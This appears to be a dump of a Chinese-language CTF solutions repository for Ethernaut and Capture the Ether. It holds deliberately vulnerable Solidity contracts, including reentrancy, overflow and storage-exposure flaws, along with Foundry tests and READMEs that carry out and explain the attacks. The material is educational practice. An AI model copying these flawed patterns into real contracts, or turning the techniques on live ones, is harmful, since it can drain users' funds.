-------------------------------------------------------------------------------- /src/Capture_the_Ether/Warmup/Call_me/CallMeChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./CallMeChallenge.sol"; 6 | 7 | contract CallmeChallengeTest is Test { 8 | CallMeChallenge public callMeChallenge; 9 | 10 | function setUp() public { 11 | callMeChallenge = new CallMeChallenge(); 12 | } 13 | 14 | function testCallMe() public { 15 | emit log_named_string("before callme, the isComplete's value", callMeChallenge.isComplete() ? "true" : "false"); 16 | assertFalse(callMeChallenge.isComplete()); 17 | 18 | callMeChallenge.callme(); 19 | 20 | emit log_named_string("after callme, the isComplete's value", callMeChallenge.isComplete() ? "true" : "false"); 21 | assertTrue(callMeChallenge.isComplete()); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/Ethernaut/Privacy/PrivacyFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Privacy.sol"; 7 | 8 | contract PrivacyFactory is Level { 9 | function createInstance(address) public payable override returns (address) { 10 | bytes32[3] memory data; 11 | data[0] = keccak256(abi.encodePacked(tx.origin, "0")); 12 | data[1] = keccak256(abi.encodePacked(tx.origin, "1")); 13 | data[2] = keccak256(abi.encodePacked(tx.origin, "2")); 14 | Privacy instance = new Privacy(data); 15 | return address(instance); 16 | } 17 | 18 | function validateInstance(address payable _instance, address) public view override returns (bool) { 19 | Privacy instance = Privacy(_instance); 20 | return instance.locked() == false; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/Ethernaut/Vault/Vault.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./VaultFactory.sol"; 6 | 7 | contract VaultTest is Test { 8 | VaultFactory factory; 9 | 10 | function setUp() public { 11 | factory = new VaultFactory(); 12 | } 13 | 14 | function testVault() public { 15 | address vault = factory.createInstance(address(this)); 16 | 17 | // Generated by github copilot 18 | // Vault(vault).unlock("A very strong secret password :)"); 19 | 20 | bytes32 password = vm.load(vault, bytes32(uint256(1))); 21 | assertEq(password, "A very strong secret password :)"); 22 | 23 | Vault(vault).unlock(password); 24 | 25 | assertTrue(factory.validateInstance(payable(address(vault)), address(this))); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/Ethernaut/Recovery/Recovery.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./RecoveryFactory.sol"; 6 | 7 | contract RecoveryTest is Test { 8 | RecoveryFactory factory; 9 | 10 | function setUp() public { 11 | factory = new RecoveryFactory(); 12 | } 13 | 14 | function testRecovery() public { 15 | address recovery = factory.createInstance{value: 0.001 ether}(address(this)); 16 | 17 | SimpleToken( 18 | payable( 19 | address(uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), recovery, uint8(0x01)))))) 20 | ) 21 | ).destroy(payable(address(this))); 22 | 23 | assertTrue(factory.validateInstance(payable(recovery), address(this))); 24 | } 25 | 26 | receive() external payable {} 27 | } 28 | -------------------------------------------------------------------------------- /src/Ethernaut/Stake/StakeFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "../base/Level.sol"; 5 | import "./Stake.sol"; 6 | 7 | import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; 8 | 9 | contract StakeFactory is Level { 10 | address _dweth = address(new ERC20("DummyWETH", "DWETH")); 11 | 12 | function createInstance(address _player) public payable override returns (address) { 13 | _player; 14 | return address(new Stake(address(_dweth))); 15 | } 16 | 17 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 18 | Stake instance = Stake(_instance); 19 | return _instance.balance != 0 && instance.totalStaked() > _instance.balance && instance.UserStake(_player) == 0 20 | && instance.Stakers(_player); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/Ethernaut/Delegation/DelegationFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "../base/Level.sol"; 5 | import "./Delegation.sol"; 6 | 7 | contract DelegationFactory is Level { 8 | address delegateAddress; 9 | 10 | constructor() { 11 | Delegate newDelegate = new Delegate(address(0)); 12 | delegateAddress = address(newDelegate); 13 | } 14 | 15 | function createInstance(address _player) public payable override returns (address) { 16 | _player; 17 | Delegation parity = new Delegation(delegateAddress); 18 | return address(parity); 19 | } 20 | 21 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 22 | Delegation parity = Delegation(_instance); 23 | return parity.owner() == _player; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/Ethernaut/Telephone/README.md: -------------------------------------------------------------------------------- 1 | # Telephone 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x2C2307bb8824a0AbBf2CC7D76d8e63374D2f8446) 6 | 7 | 获得合约的owner权限来完成这一关 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Telephone -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 更换合约owner只能通过changeOwner函数,当交易的发送者和交易的原始发送者不同时,发生owner变动。 22 | 23 | 在`solidity`中,使用`tx.origin`可以获得启动交易的原始地址,它与`msg.sender`十分相似,下面我们用一个例子来区分它们之间不同的地方。 24 | 25 | 如果用户A调用了B合约,再通过B合约调用了C合约,那么在C合约看来,`msg.sender`就是B合约,而`tx.origin`就是用户A。 26 | 27 | [![img](https://github.com/AmazingAng/WTF-Solidity/raw/main/S12_TxOrigin/img/S12_1.jpg)](https://github.com/AmazingAng/WTF-Solidity/blob/main/S12_TxOrigin/img/S12_1.jpg) 28 | 29 | 所以我们只需要写一个合约,让这个合约调用题目中的`changeOwner`方法即可。 30 | 31 | -------------------------------------------------------------------------------- /src/Ethernaut/Good_Samaritan/GoodSamaritan.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.8.0 <0.9.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./GoodSamaritanFactory.sol"; 6 | 7 | contract GoodSamaritanTest is Test, INotifyable { 8 | GoodSamaritanFactory factory; 9 | 10 | error NotEnoughBalance(); 11 | 12 | function setUp() public { 13 | factory = new GoodSamaritanFactory(); 14 | } 15 | 16 | function notify(uint256 amount) public pure { 17 | if (amount == 10) { 18 | revert NotEnoughBalance(); 19 | } 20 | } 21 | 22 | function testGoodSamaritan() public { 23 | address goodSamaritan = factory.createInstance(address(this)); 24 | 25 | GoodSamaritan(goodSamaritan).requestDonation(); 26 | assertTrue(factory.validateInstance(payable(goodSamaritan), address(this))); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/Ethernaut/King/KingFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./King.sol"; 7 | 8 | contract KingFactory is Level { 9 | uint256 public insertCoin = 0.001 ether; 10 | 11 | function createInstance(address _player) public payable override returns (address) { 12 | _player; 13 | require(msg.value >= insertCoin, "Must send at least 0.001 ETH"); 14 | return address((new King){value: msg.value}()); 15 | } 16 | 17 | function validateInstance(address payable _instance, address _player) public override returns (bool) { 18 | _player; 19 | King instance = King(_instance); 20 | (bool result,) = address(instance).call{value: 0}(""); 21 | !result; 22 | return instance._king() != address(this); 23 | } 24 | 25 | receive() external payable {} 26 | } 27 | -------------------------------------------------------------------------------- /src/Ethernaut/Elevator/Elevator.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./ElevatorFactory.sol"; 6 | 7 | contract ElevatorTest is Building, Test { 8 | ElevatorFactory factory; 9 | bool flag = false; 10 | 11 | function setUp() public { 12 | factory = new ElevatorFactory(); 13 | } 14 | 15 | function isLastFloor(uint256) external returns (bool) { 16 | bool _flag = flag; 17 | flag = !flag; 18 | return _flag; 19 | } 20 | 21 | function testElevator() public { 22 | address elevator = factory.createInstance(address(this)); 23 | 24 | // ”真男人就上100层“ 25 | Elevator(elevator).goTo(100); 26 | assertTrue(Elevator(elevator).top()); 27 | 28 | assertTrue(factory.validateInstance(payable(address(elevator)), address(this))); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/Ethernaut/Elevator/README.md: -------------------------------------------------------------------------------- 1 | # Elevator 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x6DcE47e94Fa22F8E2d8A7FDf538602B1F86aBFd2) 6 | 7 | 电梯不会让你达到大楼顶部, 对吧? 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Elevator -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 只要两次调用`isLastFloor`方法返回的bool值不同即可。 22 | 23 | 而题目定义的`isLastFloor`接口并没有限制函数类型,所以每次调用我们可以通过`isLastFloor`方法改变攻击合约中的值,来保证两次调用的返回值不同。 24 | 25 | ```solidity 26 | interface Building { 27 | function isLastFloor(uint256) external returns (bool); 28 | } 29 | ``` 30 | 31 | 你可以在接口使用 `view` 函数修改器来防止状态被篡改. `pure` 修改器也可以防止状态被篡改. 认真阅读 [Solidity's documentation](http://solidity.readthedocs.io/en/develop/contracts.html#view-functions) 并学习注意事项. 32 | 33 | 完成这一关的另一个方法是构建一个 view 函数, 这个函数根据不同的输入数据返回不同的结果, 但是不更改状态, 比如 `gasleft()`.我们将在后续的某道题中使用该方法。 -------------------------------------------------------------------------------- /src/Ethernaut/Re-entrancy/Reentrance.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.12; 3 | 4 | import "openzeppelin-contracts-06/math/SafeMath.sol"; 5 | 6 | contract Reentrance { 7 | using SafeMath for uint256; 8 | 9 | mapping(address => uint256) public balances; 10 | 11 | function donate(address _to) public payable { 12 | balances[_to] = balances[_to].add(msg.value); 13 | } 14 | 15 | function balanceOf(address _who) public view returns (uint256 balance) { 16 | return balances[_who]; 17 | } 18 | 19 | function withdraw(uint256 _amount) public { 20 | if (balances[msg.sender] >= _amount) { 21 | (bool result,) = msg.sender.call{value: _amount}(""); 22 | if (result) { 23 | _amount; 24 | } 25 | balances[msg.sender] -= _amount; 26 | } 27 | } 28 | 29 | receive() external payable {} 30 | } 31 | -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_One/GatekeeperOne.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./GatekeeperOneFactory.sol"; 6 | 7 | contract GatekeeperOneTest is Test { 8 | GatekeeperOneFactory factory; 9 | 10 | function setUp() public { 11 | factory = new GatekeeperOneFactory(); 12 | } 13 | 14 | function testGatekeeperOne() public { 15 | address player = vm.addr(uint256(keccak256("player"))); 16 | 17 | address gatekeeperOne = factory.createInstance(player); 18 | 19 | vm.prank(address(this), player); 20 | 21 | // 0xabcd00000000305c 22 | bytes8 _gateKey = bytes8(abi.encodePacked(hex"abcd00000000", uint16(uint160(player)))); 23 | 24 | GatekeeperOne(gatekeeperOne).enter{gas: 82178}(_gateKey); 25 | 26 | assertTrue(factory.validateInstance(payable(address(gatekeeperOne)), player)); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/Ethernaut/Coin_Flip/CoinFlip.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract CoinFlip { 5 | uint256 public consecutiveWins; 6 | uint256 lastHash; 7 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 8 | 9 | constructor() { 10 | consecutiveWins = 0; 11 | } 12 | 13 | function flip(bool _guess) public returns (bool) { 14 | uint256 blockValue = uint256(blockhash(block.number - 1)); 15 | 16 | if (lastHash == blockValue) { 17 | revert(); 18 | } 19 | 20 | lastHash = blockValue; 21 | uint256 coinFlip = blockValue / FACTOR; 22 | bool side = coinFlip == 1 ? true : false; 23 | 24 | if (side == _guess) { 25 | consecutiveWins++; 26 | return true; 27 | } else { 28 | consecutiveWins = 0; 29 | return false; 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/Ethernaut/HigherOrder/HigherOrder.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.6.12; 3 | pragma experimental ABIEncoderV2; 4 | 5 | import "forge-std/Test.sol"; 6 | import "./HigherOrderFactory.sol"; 7 | 8 | contract HigherOrderTest is Test { 9 | HigherOrderFactory factory; 10 | HigherOrder higherOrderInstance; 11 | 12 | function setUp() public { 13 | factory = new HigherOrderFactory(); 14 | higherOrderInstance = HigherOrder(factory.createInstance(address(this))); 15 | } 16 | 17 | function testHigherOrder() public { 18 | (bool success,) = 19 | address(higherOrderInstance).call(abi.encodeWithSignature("registerTreasury(uint8)", type(uint256).max)); 20 | require(success, "registerTreasury failed"); 21 | 22 | higherOrderInstance.claimLeadership(); 23 | 24 | assertTrue(factory.validateInstance(payable(address(higherOrderInstance)), address(this))); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/Ethernaut/Re-entrancy/ReentranceFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | import "../base/Level-06.sol"; 6 | import "./Reentrance.sol"; 7 | 8 | contract ReentranceFactory is Level { 9 | uint256 public insertCoin = 0.001 ether; 10 | 11 | function createInstance(address _player) public payable override returns (address) { 12 | _player; 13 | require(msg.value >= insertCoin); 14 | Reentrance instance = new Reentrance(); 15 | require(address(this).balance >= insertCoin); 16 | address(instance).transfer(insertCoin); 17 | return address(instance); 18 | } 19 | 20 | function validateInstance(address payable _instance, address _player) public override returns (bool) { 21 | _player; 22 | Reentrance instance = Reentrance(_instance); 23 | return address(instance).balance == 0; 24 | } 25 | 26 | receive() external payable {} 27 | } 28 | -------------------------------------------------------------------------------- /src/Ethernaut/Naught_Coin/NaughtCoin.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./NaughtCoinFactory.sol"; 6 | 7 | contract NaughtCoinTest is Test { 8 | NaughtCoinFactory factory; 9 | 10 | function setUp() public { 11 | factory = new NaughtCoinFactory(); 12 | } 13 | 14 | function testNaughtCoin() public { 15 | address naughtCoin = factory.createInstance(address(this)); 16 | address anyone = vm.addr(uint256(keccak256("anyone"))); 17 | 18 | NaughtCoin(naughtCoin).approve(anyone, type(uint256).max); 19 | 20 | vm.startPrank(anyone, anyone); 21 | 22 | { 23 | NaughtCoin(naughtCoin).transferFrom(address(this), anyone, NaughtCoin(naughtCoin).balanceOf(address(this))); 24 | } 25 | 26 | vm.stopPrank(); 27 | 28 | assertTrue(factory.validateInstance(payable(address(naughtCoin)), address(this))); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/Ethernaut/Preservation/PreservationFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Preservation.sol"; 7 | 8 | contract PreservationFactory is Level { 9 | address timeZone1LibraryAddress; 10 | address timeZone2LibraryAddress; 11 | 12 | constructor() { 13 | timeZone1LibraryAddress = address(new LibraryContract()); 14 | timeZone2LibraryAddress = address(new LibraryContract()); 15 | } 16 | 17 | function createInstance(address _player) public payable override returns (address) { 18 | _player; 19 | return address(new Preservation(timeZone1LibraryAddress, timeZone2LibraryAddress)); 20 | } 21 | 22 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 23 | Preservation preservation = Preservation(_instance); 24 | return preservation.owner() == _player; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Token_sale/TokenSaleChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract TokenSaleChallenge { 5 | mapping(address => uint256) public balanceOf; 6 | uint256 constant PRICE_PER_TOKEN = 1 ether; 7 | 8 | constructor() payable { 9 | require(msg.value == 1 ether); 10 | } 11 | 12 | function isComplete() public view returns (bool) { 13 | return address(this).balance < 1 ether; 14 | } 15 | 16 | function buy(uint256 numTokens) public payable { 17 | unchecked { 18 | require(msg.value == numTokens * PRICE_PER_TOKEN); 19 | } 20 | balanceOf[msg.sender] += numTokens; 21 | } 22 | 23 | function sell(uint256 numTokens) public { 24 | require(balanceOf[msg.sender] >= numTokens, "error balance"); 25 | 26 | balanceOf[msg.sender] -= numTokens; 27 | payable(msg.sender).transfer(numTokens * PRICE_PER_TOKEN); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Warmup/Choose_a_nickname/NicknameChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | // Relevant part of the CaptureTheEther contract. 5 | contract CaptureTheEther { 6 | mapping(address => bytes32) public nicknameOf; 7 | 8 | function setNickname(bytes32 nickname) public { 9 | nicknameOf[msg.sender] = nickname; 10 | } 11 | } 12 | 13 | // Challenge contract. You don't need to do anything with this; it just verifies 14 | // that you set a nickname for yourself. 15 | contract NicknameChallenge { 16 | CaptureTheEther cte = CaptureTheEther(msg.sender); 17 | address player; 18 | 19 | // Your address gets passed in as a constructor parameter. 20 | constructor(address _player) { 21 | player = _player; 22 | } 23 | 24 | // Check that the first character is not null. 25 | function isComplete() public view returns (bool) { 26 | return cte.nicknameOf(player)[0] != 0; 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/Ethernaut/Alien_Codex/AlienCodex.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.5.0; 3 | 4 | import "./AlienCodexFactory.sol"; 5 | 6 | contract AlienCodexTest { 7 | AlienCodexFactory factory; 8 | 9 | function setUp() public { 10 | factory = new AlienCodexFactory(); 11 | } 12 | 13 | function cala() public pure returns (uint256) { 14 | bytes32 index = keccak256(abi.encode(1)); 15 | uint256 L = 0; 16 | return (L - 1) - uint256(index) + 1; 17 | } 18 | 19 | function testAlienCodex() public { 20 | address _alienCodex = factory.createInstance(address(this)); 21 | 22 | address payable alienCodex = address(uint160(_alienCodex)); 23 | 24 | AlienCodex(alienCodex).make_contact(); 25 | 26 | AlienCodex(alienCodex).retract(); 27 | 28 | AlienCodex(alienCodex).revise(cala(), bytes32(uint256(uint160(address(this))))); 29 | 30 | factory.validateInstance(alienCodex, address(this)); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/Ethernaut/Denial/README.md: -------------------------------------------------------------------------------- 1 | # Denial 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x2427aF06f748A6adb651aCaB0cA8FbC7EaF802e6) 6 | 7 | 拒绝用户提取资金`withdraw()`(此时合约仍有资金,并且交易的 gas 为 1M 或更少)。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Denial -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | call 如果异常会转账失败,只会返回false,不会最终停止执行, 没有gas限制 22 | 23 | ```solidity 24 | // The recipient can revert, the owner will still get their share 25 | partner.call{value: amountToSend}(""); 26 | ``` 27 | 28 | call方法会将调用结果以true和false的形式返回,即调用过程中有错误发生,也不会影响后续的代码。 29 | 30 | 所以只有让gas在外部call时全部消耗掉,无法运行后续代码。 31 | 32 | ```solidity 33 | receive() external payable { 34 | // 消耗掉所有gas值 35 | while(true){} 36 | } 37 | ``` 38 | 39 | 或者进行重新攻击,转走合约中的所有本币。但是题目要求的`whilst the contract still has funds`。就不能转完合约里全部的钱。 40 | 41 | 如果使用低级别`call`外部调用,请确保指定固定的 gas 津贴。例如`call{gas: 100000}("")`。 42 | 43 | -------------------------------------------------------------------------------- /src/Ethernaut/HigherOrder/README.md: -------------------------------------------------------------------------------- 1 | # HigherOrder 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xd459773f02e53F6e91b0f766e42E495aEf26088F) 6 | 7 | 目标是使我们的账户地址成为合约中的commander。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/HigherOrder -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 要想改变`commander`变量,只能让`treasury`变量大于255。而改变`treasury`变量只能通过`registerTreasury(uint8)`函数。 22 | 23 | 而`registerTreasury函数`中在改变`treasury`变量时,是直接读取了我们交易调用calldata的第4个字节后的32字节数据。然后将这32字节的数据写入了`treasury`变量所在的插槽。(calldata的前4个字节为函数签名selector) 24 | 25 | 所以,我们只需调用`registerTreasury函数`,并在`calldata`的`selector`后拼接`treasury`变量的值(例如,修改为`type(uint256).max`) 26 | 27 | ```solidity 28 | abi.encodeWithSignature("registerTreasury(uint8)", type(uint256).max) 29 | ``` 30 | 31 | 虽然`registerTreasury函数`接受的是`uint8`的变量,但是,函数逻辑里却是使用`calldataload`读取了32字节的数据。只需要`calldata`前4个字节的selector正确 ,就可以调用`registerTreasury函数`。 -------------------------------------------------------------------------------- /src/Ethernaut/Dex/Dex.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./DexFactory.sol"; 6 | 7 | contract DexTest is Test { 8 | DexFactory factory; 9 | 10 | function setUp() public { 11 | factory = new DexFactory(); 12 | } 13 | 14 | function testDex() public { 15 | address dex = factory.createInstance(address(this)); 16 | address token1 = Dex(dex).token1(); 17 | address token2 = Dex(dex).token2(); 18 | 19 | Dex(dex).approve(dex, type(uint256).max); 20 | 21 | Dex(dex).swap(token1, token2, 10); 22 | Dex(dex).swap(token2, token1, 20); 23 | Dex(dex).swap(token1, token2, 24); 24 | Dex(dex).swap(token2, token1, 30); 25 | Dex(dex).swap(token1, token2, 41); 26 | Dex(dex).swap(token2, token1, 45); 27 | 28 | assertEq(IERC20(token1).balanceOf(dex), 0); 29 | 30 | assertTrue(factory.validateInstance(payable(dex), address(this))); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Public_Key/PublicKeyChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./PublicKeyChallenge.sol"; 6 | 7 | contract PublicKeyChallengeTest is Test { 8 | PublicKeyChallenge public publicKeyChallenge; 9 | 10 | function setUp() public { 11 | publicKeyChallenge = new PublicKeyChallenge(); 12 | } 13 | 14 | function testPublicKey() public { 15 | emit log_named_string("before hack, isComplete", publicKeyChallenge.isComplete() ? "true" : "false"); 16 | 17 | bytes memory publicKey = 18 | hex"e95ba0b752d75197a8bad8d2e6ed4b9eb60a1e8b08d257927d0df4f3ea6860992aac5e614a83f1ebe4019300373591268da38871df019f694f8e3190e493e711"; 19 | 20 | publicKeyChallenge.authenticate(publicKey); 21 | 22 | emit log_named_string("after hack, isComplete", publicKeyChallenge.isComplete() ? "true" : "false"); 23 | 24 | assertTrue(publicKeyChallenge.isComplete()); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/Ethernaut/Fallback/Fallback.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./FallbackFactory.sol"; 6 | 7 | contract FallbackTest is Test { 8 | FallbackFactory factory; 9 | 10 | function setUp() public { 11 | factory = new FallbackFactory(); 12 | } 13 | 14 | function testFallback() public { 15 | address fallBack = factory.createInstance(address(this)); 16 | 17 | Fallback(payable(fallBack)).contribute{value: 1}(); 18 | 19 | (bool success, bytes memory data) = payable(fallBack).call{value: 1}(""); 20 | if (!success) { 21 | revert(string(data)); 22 | } 23 | 24 | address owner = Fallback(payable(fallBack)).owner(); 25 | 26 | assertEq(owner, address(this)); 27 | 28 | Fallback(payable(fallBack)).withdraw(); 29 | 30 | assertTrue(factory.validateInstance(payable(fallBack), address(this))); 31 | } 32 | 33 | receive() external payable {} 34 | } 35 | -------------------------------------------------------------------------------- /src/Ethernaut/King/README.md: -------------------------------------------------------------------------------- 1 | # King 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x3049C00639E6dfC269ED1451764a046f7aE500c6) 6 | 7 | King合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王。上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起像是庞氏骗局. 8 | 9 | 这么有趣的游戏, 你的目标是攻破他. 10 | 11 | 当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关. 12 | 13 | ## 运行 14 | 15 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 16 | 17 | ```sh 18 | $ cd WTF-CTF 19 | 20 | $ forge test -C src/Ethernaut/King -vvvvv 21 | ``` 22 | 23 | ## 功能简述 24 | 25 | 合约账户在收到转账后,会自动执行receive函数或fallback函数([区别](https://github.com/AmazingAng/WTF-Solidity/tree/main/19_Fallback#receive%E5%92%8Cfallback%E7%9A%84%E5%8C%BA%E5%88%AB))。 26 | 27 | 合约中使用 transfer函数进行合约转账,transfer函数执行失败时,会回滚交易。而call函数进行转账时失败了只会返回false([solidity三种发送ETH的方法](https://github.com/AmazingAng/WTF-Solidity/tree/main/20_SendETH))。 28 | 29 | 所以我们可以使用合约申请为king,然后在合约的receive函数中revert掉所有转账交易。这样就没有人可以替代我们成为新王。 30 | 31 | ```solidity 32 | receive() external payable { 33 | revert(); 34 | } 35 | ``` 36 | 37 | -------------------------------------------------------------------------------- /src/Ethernaut/Privacy/Privacy.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Privacy { 5 | bool public locked = true; 6 | uint256 public ID = block.timestamp; 7 | uint8 private flattening = 10; 8 | uint8 private denomination = 255; 9 | uint16 private awkwardness = uint16(block.timestamp); 10 | bytes32[3] private data; 11 | 12 | constructor(bytes32[3] memory _data) { 13 | data = _data; 14 | } 15 | 16 | function unlock(bytes16 _key) public { 17 | require(_key == bytes16(data[2])); 18 | locked = false; 19 | } 20 | 21 | /* 22 | A bunch of super advanced solidity algorithms... 23 | 24 | ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` 25 | .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., 26 | *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ 27 | `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) 28 | ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU 29 | */ 30 | } 31 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Public_Key/pubkey/src/main.rs: -------------------------------------------------------------------------------- 1 | use ethers::{ 2 | core::types::H256, 3 | providers::{Http, Middleware, Provider}, 4 | types::transaction::eip2718::TypedTransaction, 5 | }; 6 | use eyre::Result; 7 | use pubkey::Signature; 8 | use std::str::FromStr; 9 | 10 | #[tokio::main] 11 | async fn main() -> Result<()> { 12 | let provider = Provider::::try_from("https://eth.llamarpc.com")?; 13 | 14 | let tx_hash: H256 = 15 | H256::from_str("0x4c45f8cb8661da76ec11c8dd1d1e7bf77685f57417be26dea97e4ea9bc05ecd4")?; 16 | let tx = provider.get_transaction(tx_hash).await?.unwrap(); 17 | let typed_tx: TypedTransaction = (&tx).into(); 18 | let sign_hash = typed_tx.sighash().as_ref().to_vec(); 19 | 20 | let signature = Signature::new(tx.r, tx.s, tx.v.as_u64()); 21 | let pubkey = signature.recover_pubkey(sign_hash.clone())?; 22 | let addr = signature.recover_addr(sign_hash)?; 23 | 24 | println!("public key: {}", hex::encode(&pubkey[1..])); 25 | println!("address: {:?}", addr); 26 | 27 | Ok(()) 28 | } 29 | -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_One/GatekeeperOne.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/console.sol"; 5 | 6 | contract GatekeeperOne { 7 | address public 